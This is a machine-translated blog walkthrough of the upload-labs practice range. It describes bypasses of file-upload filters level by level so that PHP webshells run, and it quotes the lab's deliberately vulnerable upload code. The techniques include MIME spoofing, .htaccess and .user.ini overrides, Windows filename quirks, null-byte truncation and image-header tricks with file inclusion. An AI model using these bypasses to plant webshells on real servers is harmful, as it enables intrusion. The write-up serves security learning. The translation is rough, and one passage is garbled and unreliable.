当前位置:网站首页>Upload labs range practice

Upload labs range practice

2022-04-23 08:03:00 King_ nul

Introduction to shooting range

Personal blog time machine

upload-labs It's a use php language-written , Specifically collect penetration tests and CTF Various upload vulnerabilities encountered in the shooting range . It aims to help you have a comprehensive understanding of the upload vulnerability . At present, a total of 20 Turn off , Each level contains different upload methods .

Project address :https://github.com/c0ny1/upload-labs

Ben writeup The environment used is provided by the author windows Environment one click Start environment .

Range environment

Vulnerability profile

File upload vulnerability is due to the lack of reasonable and strict filtering of uploaded files , The file uploaded by the attacker is parsed by the server , Cause the malicious code contained in the malicious file to be executed , An attacker can execute server commands through this file .

Mind mapping

You can click on the 【 File upload vulnerability 】 Check the original mind map .

 Insert picture description here

Starting to break through

Pass-01

See the upload interface , Just upload one first shell file , Turn on BP Grab the packet and look at the data , Determine whether there is data transmission

image-20220416144201652

See that the page has prompted that you can only upload These image files , and BP Didn't catch the packet , It indicates that the authentication is not performed from the server , Instead, the file is directly verified at the front end .

The function of using the browser directly is disabled js Code running or using plug-ins is prohibited .

image-20220416145416853

Upload again

image-20220416150015859

Access this file

image-20220416150122929

Successfully accessed the uploaded file , If the file can be uploaded normally in the file upload vulnerability shell Then access the file normally , It shows that this vulnerability exists , Then you can use other methods getshell 了 .

#  Source code 
function checkFile() {
    
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
    
        alert(" Please select the file to upload !");
        return false;
    }
    // Define the types of files allowed to be uploaded 
    var allow_ext = ".jpg|.png|.gif";
    // Extract the type of uploaded file 
    var ext_name = file.substring(file.lastIndexOf("."));
    // Determine whether the type of uploaded file is allowed to be uploaded 
    if (allow_ext.indexOf(ext_name + "|") == -1) {
    
        var errMsg = " The file is not allowed to upload , Please upload " + allow_ext + " Files of type , The current file type is :" + ext_name;
        alert(errMsg);
        return false;
    }
}

Method : Client bypass

Pass-02

Just upload one shell file , Decide whether it's a black-and-white list or MIME Limit .

image-20220416152256193

The tip says File type cannot be uploaded , But it can't be judged that this is an indication of limitation , Continue uploading files , Test those files can be uploaded .

image-20220416152600084

The pictures found can be uploaded normally , Take the data we just caught , File suffix changed to png See if you can upload it normally .

image-20220416152722481

I still can't upload , But just now png Pictures can be uploaded , So here may be a reference to the file MIME Filtered , Or judge the contents of the file .

Modify the file first MIME That is to say Content-Type Field

#  Commonly used  MIME 
PNG Images  .png image/png
GIF graphics  .gif image/gif
JPEG graphics  .jpeg,.jpg image/jpeg
 Plain text  .txt text/plain
 Indicates some kind of binary data  .bin application/octet-stream
 Hypertext markup language text  .html text/html

image-20220416154625116

I found that the file has been uploaded normally , Then access this file

image-20220416154713811

Successfully resolved , At this time, you can see the server php Version, middleware version and open module .

then , You can make php In a word, Trojans Upload ,getshell

image-20220416160405778

After uploading , Visit the uploaded shell file , And pass the command you want to execute through info Pass on the reference , Finally by **system() ** Function executes commands on the system ,**print_r ** Print the results to the page .

image-20220416160423972

You can also upload a sentence , And then use webshell Tools to connect

image-20220416160948580

Use a kitchen knife to connect

image-20220416161149984

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
      // Check the file MIME type , Only for  image/png、image/jpeg、image/gif  To upload successfully 
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' Incorrect file type , Please upload again !';
        }
    } else {
    
        $msg = UPLOAD_PATH.' Folder does not exist , Please create... By hand !';
    }
}

Method : MIME/Content-Type Field validation bypasses

Pass-03

What are the limitations of testing first , Determine the type of restriction , Then bypass

image-20220416161507796

Upload a php After the file, you will be prompted that you cannot upload files with these suffixes , It shows that this is a 【 Blacklist restrictions 】 All files in the blacklist cannot be uploaded , But only four file suffixes are written in the prompt , Try other file suffixes that can be resolved , Try to bypass .

image-20220416161815947

Change the suffix to php3 I found that the upload was successful , And the file was renamed , Let's visit first , See if it can be parsed .

image-20220416161940235

A blank appears , Check the page source code , Find out php3 Can't be parsed ,php5 Wait, I guess so , But I still have to try .

image-20220416162247685

I tried several classes and couldn't resolve , There's no way , This is to bypass the blacklist , have access to .php3 .php5 .php7 .phtml Upload such suffixes that can be parsed , But the server uses apache middleware , And the name of the uploaded file has been changed and can't be used **.htaccess** File parsing , You can only add one to the environment by yourself Parsing configuration , To complete this level .

#  modify   In the container environment apache2.conf file 
root@25be7a005050:/etc/apache2# echo 'AddType application/x-httpd-php .php3 .php7 .phtml' >> apache2.conf 
root@25be7a005050:/etc/apache2# cat apache2.conf | grep AddType
AddType application/x-httpd-php .php3 .php7 .phtml

#  Restart the container , Then visit the uploaded .php3 .php7 .phtml Such documents 
[root@vulnshow ~]# docker restart upload-labs
upload-labs

Revisit php3 file , You can see that the file has been parsed , This is Guanzhong Bypass the blacklist Our goal has also been achieved , The premise is that the server can parse these files .

image-20220416165701828

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
    
        $deny_ext = array('.asp','.aspx','.php','.jsp'); // Define an array of blacklists 
        $file_name = trim($_FILES['upload_file']['name']);// Delete all spaces at both ends of the file 、\0、\r、\n、\t、 Equal special character 
        $file_name = deldot($file_name);// Delete the point at the end of the filename  
        $file_ext = strrchr($file_name, '.'); 
        $file_ext = strtolower($file_ext); // Convert to lowercase , prevent windows The system is case insensitive 
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// Remove strings ::$DATA, prevent windows System pair ::$DATA All subsequent characters are deleted 
        $file_ext = trim($file_ext); // Close out and leave it empty 

        if(!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
    
                 $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' Upload is not allowed .asp,.aspx,.php,.jsp Suffix file !';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

Method : The non-standard configuration file causes some files to be successfully parsed

Pass-04

Try to upload first , This time directly upload a .phtml The file of , Then judge the filter type .

image-20220416170726544

Directly intercepted , It shows that it is likely to be restricted by blacklist , Just upload a non-existent file suffix , See if you can upload .

image-20220416170854905

Upload it normally , It means that this must be a blacklist. That's right , If it is a whitelist, it will limit which suffix files can only be uploaded ( If you can only upload png,jpeg,gif), Blacklists restrict the ability to upload files with suffixes ( In the above question ,php、asp Such files cannot be uploaded ), The way to bypass the blacklist is to test one by one , Look at those sensitive files that have been ignored and not completely written .

apache2 Sensitive configuration files related to configuration are 【.htaccess】 file

nginx Is in the 【.user.ini】 file

The functions of these two files are the same , But the configuration syntax is different ,.htaccess and .user.ini The configuration in the file can overwrite apache2.conf Configuration in , And take effect on the current directory and subdirectories .

See that the file uploaded here has not changed the file name , So just upload one first .htaccess file .

image-20220416171656177

Successfully uploaded .htaccess file , The content in the document means : take **.abcdefghijk ** Suffix files use php Grammar for parsing , And take effect in the current directory and subdirectories .

image-20220416171903250

Successfully bypassed the blacklist filtering restrictions .

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
     //  Filter a bunch of file suffixes , No filtering  .htaccess  and  .user.ini  file 
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);// Delete the point at the end of the filename 
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // Convert to lowercase 
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// Remove strings ::$DATA
        $file_ext = trim($file_ext); // Close out and leave it empty 

        if (!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' This file is not allowed to upload !';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

Method :Apache Sensitive file upload vulnerability

Pass-05(Windows Environmental Science )

This level is difficult to do , I tried several ways to bypass, but I couldn't , First analyze the source code

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);// Filter the spaces at both ends 
        $file_name = deldot($file_name);// Delete the point at the end of the filename 
        $file_ext = strrchr($file_name, '.'); // Intercept the last point to the last string (.user.ini  The final result is  .ini )
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// Remove strings ::$DATA
        $file_ext = trim($file_ext); // Head to tail 

        if (!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;//  Change file name 
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' Upload is not allowed for this file type !';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

First , First use trim() The function removes all spaces at the beginning and end of the file , And then use deldot() The function removes the point at the end of the file , Reuse strrchr() The function intercepts the string from the last point to the last point in the file name , Reuse str_ireplace() The function returns a string containing ::$DATA Replace the part of with empty , Finally, the string is modified Head to tail , Then check the suffix .

1、 First look at the previous operation , If in Linux Next , exclude Case write Bypass 、 Exclude use **.user.ini ** file

2、 because strrchr() The function intercepts all characters from the specified string position to the last position , There's no way to add a space or 0x00 truncation

3、 Finally, all characters before the suffix of the uploaded file are modified

Final , If this is closed linux There is no way to get around , But if windows This type of vulnerability , It can be bypassed .

image-20220416203818928

This is windows The environment built on the Internet , The source code is basically the same as upload-labs It's consistent , Here, use this shooting range to demonstrate in windows How to bypass , Just upload one directly shell file , according to windows Case insensitive features , You can directly replace the suffix with case , And the source code does not filter the case of files .

image-20220416213318623

image-20220416213629878

Successfully uploaded , Just visit directly

Method : Case around

Pass-06(windows Environmental Science )

Just upload a file and have a look first

image-20220417105657868

Although the upload was successful , But the file here only retains the last suffix , But you can see that , Blacklist filtering is still used here , According to the response data , Know that this server is apache/2.4, Search for CVE

# Apache Newline parsing vulnerability (CVE-2017-15715)

#  Affects version 
Apache httpd 2.4.0 ~ 2.4.29

#  principle 
 In regular expressions ,$ Used to match the end of the string , But if it's set RegExp Object's Multiline attribute ,$ Also match \n perhaps \r.

#  The configuration file 
<FilesMatch \.php$>
        SetHandler application/x-httpd-php
</FilesMatch>

image-20220417105940119

Tested it , Put the space in hex code 20 Change to 00 And then upload , I can't find out , So let's look at the source code first

image-20220417110640608

image-20220417110744059

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);// Delete the point at the end of the filename 
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // Convert to lowercase 
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// Remove strings ::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' This file is not allowed to upload ';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

Source code There is no limit to the spaces at both ends , Only the suffix is converted to lowercase , Removed ::$DATA character string , This can be used to Windows Characteristics of Go around ,windows The suffix at the end of the file when the system saves the file Space and **.** Will be deleted by default . use windows Environment to test this question .

image-20220417113556699

image-20220417113520814

image-20220417113748260

Visit

image-20220417113847774

Why can we only bypass this question with spaces , Instead of using ? Because there is strrchr() function , It will intercept all characters from the position of the last point to the last character of the string , If you use some , Finally, it cannot exist php This string , So you can only use spaces to bypass .

Method : Space around

Pass-07 (Nginx Environmental Science )

It's the same. Test first

image-20220417114357614

It's clear , It's a blacklist , The name of the file was not changed this time , It should be easier to do , the reason being that apache The server , So try it first .htaccess Nor has it been ban

image-20220417114722003

.htaccess The file is ban It fell off , And tested it again .user.ini file , Found this can be uploaded , in other words , If it runs in Nginx Next words , Upload here webshell 了 ,.user.ini You can overwrite the configuration of the current directory and subdirectories , In the following Nginx Testing in the environment

image-20220417120848505

image-20220417130112908

Visit readme.php file ( If the file does not exist in the environment , Just build one by yourself ),auto_append_file=shell.ppp This sentence will be configured when accessing the current directory php File in advance with php The code parses this shell.ppp file .

image-20220417130359762

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // Convert to lowercase 
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// Remove strings ::$DATA
        $file_ext = trim($file_ext); // Head to tail 
        
        if (!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' Upload is not allowed for this file type !';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

Method :Nginx Sensitive configuration file upload

Pass-08 (Windows Environmental Science )

First uploaded a png Suffix shell Whether the file test can be uploaded

image-20220417204151215

Can be uploaded , And the file name has been changed here , Try again. .htaccess Whether the file can be uploaded , There are other sensitive documents .

image-20220417204400959

image-20220417204429057

image-20220417204526661

The test shows that , Here is another complete blacklist filtering

image-20220417213315913

From this test, it should not be difficult to see , After I upload the file 【 Space spot Space 】 All filtered out .

image-20220417213512617

According to the test above , The filtering code here is still filtered twice Space One spot , Then intercept spot All subsequent characters are used as suffixes , The file was renamed , If in Windows You can try to use **::$DATA perhaps %80~%99** these windows Can be used to bypass .

image-20220417215108395

Windows The suffix saved in is :: D A T A ∗ ∗ writing Pieces of when Meeting take ∗ ∗ : : DATA** The file will be **:: DATA writing Pieces of when Meeting take ::DATA Remove

image-20220417215221623

image-20220417215045253

Add... After the suffix %81~%99 Conduct url After coding, you can bypass .

image-20220417221118846

image-20220417221147800

image-20220417221232670

image-20220417221251390

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);// Delete the point at the end of the filename 
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // Convert to lowercase 
        $file_ext = trim($file_ext); // Head to tail 
        
        if (!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; *
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' Upload is not allowed for this file type !';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

#  Why doesn't this level use  nginx  Of  .user.ini  Upload , And the reason is that  strrchr()  Functions and   Mark above  *  The position of the .

This is locked in Windows There are a lot of skills to bypass under the ,Linux Next words , I haven't found any way to get around , Welcome big guys with ideas Give directions .

Method : Empty characters bypass

Pass-09(Windows Environmental Science )

Just upload a file , See the response message , It is preliminarily judged that this is a blacklist 、 The name hasn't been changed this time .

image-20220418095334517

Try uploading the following sensitive files and files suffixed with dots or spaces , Check the filtering mechanism

image-20220418095703152

The uploaded file has been deleted with a space and a dot , The last thing left is a space , Indicates that there is no circular filtration , Only two spaces and one dot are filtered .

image-20220418095926643

The shooting range is windows Under the , This situation can be bypassed , There are no dots and spaces in the saved file .

image-20220418100933570

image-20220418100124494

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    if (file_exists(UPLOAD_PATH)) {
      //  There's no filtering here  .user.ini  The middleware used in the file environment is  apache  therefore  .user.ini  Documents are useless  
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);// Delete the point at the end of the filename 
        $file_ext = strrchr($file_name, '.');	//  Intercept the position of the last point to the last position ( So the above must be followed by two points after the suffix , One being deldot In addition to the , One is left so that the intercepting function does not intercept .php Key words of )
        $file_ext = strtolower($file_ext); // Convert to lowercase 
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// Remove strings ::$DATA
        $file_ext = trim($file_ext); // Head to tail 
        
        if (!in_array($file_ext, $deny_ext)) {
    
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
    
                $is_upload = true;
            } else {
    
                $msg = ' Upload error !';
            }
        } else {
    
            $msg = ' Upload is not allowed for this file type !';
        }
    } else {
    
        $msg = UPLOAD_PATH . ' Folder does not exist , Please create... By hand !';
    }
}

Method : Bypass trim function 、deldot Functions and strrchr function

Pass-10

Just upload one first shell file , See response , You know there php keyword The filtered

image-20220418102348649

Try double writing first

image-20220418102848381

Double write normal bypass , There is no circular filtering keyword , visit shell address

image-20220418102955112

Method : Keyword double write bypass

Pass-11

I uploaded it directly according to the file of the previous question , Tips can only be uploaded .jpg | .png | .gif file , The white list , Try MIME | File header verification | 0x0a Parsing vulnerabilities

image-20220418103332396

Try it first MIME , It can't be bypassed

image-20220418103854089

Try The file header , You can't bypass

image-20220418104653680

But notice a place , Namely The path of file saving , It's direct use post request , Splice the file into the path , So you can try %00 truncation .

image-20220418110948598

Successfully uploaded %00 Will be parsed after submission , therefore The server will directly **%00 The first part of ** Saved , And the latter is truncated . Just visit the address of the previous part .

image-20220418111214496

Find a problem , It's not solved , Full access address It's also accessible , It's reasonable to say this png The file should not exist , But it can be accessed normally. I don't know why .

image-20220418111602826

image-20220418111545020

Then I casually tested , Find out No matter what is followed by the truncated file, it can be parsed to the uploaded file

image-20220418111851085

It's strange .

Method :%00 Cut and bypass

Pass-12

image-20220418132344661

Just upload a file and you will find that the form here also has a hidden input box , The value is The path of file saving , Use it directly here 0x00 Truncate to bypass

image-20220418132741958

Although the response returns png The path of , In fact, the file was not saved with 0x00 Keep the rest , Visit .

image-20220418132902551

Method :0x00 Cut and bypass

Pass-13

image-20220418134504487

Look, the task is to upload picture Test upload first gif Type of file, and then grab the package to see the data . Just download one on Baidu gif chart , Upload and capture packets normally

image-20220418134840618

There is a file that contains php file , stay gif The last position of the picture Add the previous sentence, and then upload the Trojan horse , Execute code through File Inclusion

image-20220418135009944

image-20220418135233455

open include.php file , This shows directly Source code , It's using GET Method pair file Parameter transfer

image-20220418171215174

image-20220418171154360

Then use the same method to png and jpg Horses are uploaded , File Inclusion access is OK

image-20220418202645359

image-20220418211417636

#  Source code 
function getReailFileType($filename){
    
    $file = fopen($filename, "rb"); //  Open the file in binary mode 
    $bin = fread($file, 2); // read-only 2 byte ,1 byte =8bit
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    // unpack()  Function to unpack the file 
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    //  Return the unpacked value, and then link ( The function is not very clear. I didn't understand it after looking for the article , If you are interested in learning by yourself )
    $fileType = '';    
    switch($typeCode){
          //  Judge whether the unpacked data above is equal to this data , The format corresponding to the same output 
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
    
        $msg = " File unknown , Upload failed !";
    }else{
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
    
            $is_upload = true;
        } else {
    
            $msg = " Upload error !";
        }
    }
}

Method : The file header – Pictures and files contain exploits

Pass-14

Directly uploaded a jpeg The picture is over , The access address is successfully executed php Code

image-20220419095458217

image-20220419095515545

Upload gif and png Give it a try

image-20220419095604894

image-20220419095613576

image-20220419100305658

image-20220419100314366

Sense and Pass-13 There's no difference in feeling than 13 It's a little easier , Upload normally and then pass The file contains the code in the execution picture , Normal output .

front 6 Is it GIF File header information

image-20220419103530975

Back 7 Bits are the width, height and other information of the picture , Ahead of

image-20220419103808765

modify php file Add the properties of the picture file on the , Modified into gif Save the information as gif picture .

image-20220419104242889

Successfully uploaded the malicious image to the server , Then access the image through the file to execute the code .

image-20220419104553799

image-20220419104604030

Modify the above operation , You can bypass **getimagesize() ** Function limits ( In fact, it's OK to modify the file header, that is, the first four digits , For other types of possible length inconsistencies ).

#  Source code 
function isImage($filename){
    
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
    
        $info = getimagesize($filename); //  Get the information and size of the picture , Array returned successfully , Failure returns  FALSE 
        $ext = image_type_to_extension($info[2]); //  Returns the corresponding suffix according to the specified image type 
        if(stripos($types,$ext)>=0){
     //  Find out whether the intercepted suffix is in the white list 
            return $ext;
        }else{
    
            return false;
        }
    }else{
    
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file); //  After confirming that it is a picture type, save the file 
    if(!$res){
    
        $msg = " File unknown , Upload failed !";
    }else{
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
            $is_upload = true;
        } else {
    
            $msg = " Upload error !";
        }
    }
}

Method : Bypass getimagesize() , Modify the file information of malicious code file

Pass-15

Or just upload a picture horse

image-20220419144616993

image-20220419144604666

It seems to be similar to the previous level , It should still not filter too many things in the source code , Just look at the source code first .

#  Source code 

function isImage($filename){
    
    // Need to open php_exif modular 
    $image_type = exif_imagetype($filename); // Determine the type of an image , If the corresponding type is found , Returns a corresponding constant , Otherwise return to  False
    switch ($image_type) {
    
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
        $msg = " File unknown , Upload failed !";
    }else{
    
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
            $is_upload = true;
        } else {
    
            $msg = " Upload error !";
        }
    }
}

Yes php The file was tested , Found that as long as you change The file header can directly bypass this restriction .

image-20220419150934980

image-20220419151107566

png and jpg It should be the same , Modify the file header to bypass

image-20220419153555565

image-20220419153625326

Method : Header bypass

Pass-16

Or upload a picture horse to see the situation

image-20220419161003367

I found it useless this time , The code in the picture horse is not executed .

image-20220419161646008

image-20220419160934625

Access the location of the picture , It is found that the picture can be accessed normally

image-20220419161935573

Pull the picture down and put it in hex Look inside , I found that a sentence in the picture we downloaded disappeared

image-20220419162118321

image-20220419162200576

I don't know what caused it , First look at the source code

#  Source code 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    
    //  Get the basic information of the uploaded file , file name , type , size , Temporary file path 
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    //  Get the extension of the uploaded file 
    $fileext= substr(strrchr($filename,"."),1);

    // Judge file suffix and type , Upload only when it is legal 
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    
        if(move_uploaded_file($tmpname,$target_path)){
    
            // Use the uploaded image to generate a new image 
            $im = imagecreatefromjpeg($target_path); //  By file or  URL  Create a new image . Return to... After failure  false

            if($im == false){
    
                $msg = " The file is not jpg Format picture !";
                @unlink($target_path);
            }else{
    
                // Assign a file name to the new image 
                srand(time());
                $newfilename = strval(rand()).".jpg";
                // Show the second rendered image ( Use new images generated by users uploading images )
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
            $msg = " Upload error !";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
    
        if(move_uploaded_file($tmpname,$target_path)){
    
            // Use the uploaded image to generate a new image 
            $im = imagecreatefrompng($target_path);

            if($im == false){
    
                $msg = " The file is not png Format picture !";
                @unlink($target_path);
            }else{
    
                 // Assign a file name to the new image 
                srand(time());
                $newfilename = strval(rand()).".png";
                // Show the second rendered image ( Use new images generated by users uploading images )
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
    
            $msg = " Upload error !";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
    
        if(move_uploaded_file($tmpname,$target_path)){
    
            // Use the uploaded image to generate a new image 
            $im = imagecreatefromgif($target_path);
            if($im == false){
    
                $msg = " The file is not gif Format picture !";
                @unlink($target_path);
            }else{
    
                // Assign a file name to the new image 
                srand(time());
                $newfilename = strval(rand()).".gif";
                // Show the second rendered image ( Use new images generated by users uploading images )
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
            $msg = " Upload error !";
        }
    }else{
    
        $msg = " Only upload suffixes are allowed .jpg|.png|.gif The picture file of !";
    }
}

The source code is right The uploaded image is rendered twice , Take away the malicious code , Compare the pictures hex You'll find some places It hasn't changed after the second rendering , This is where it's not covered , take Malicious code in this location , Then bypass

image-20220419183734254

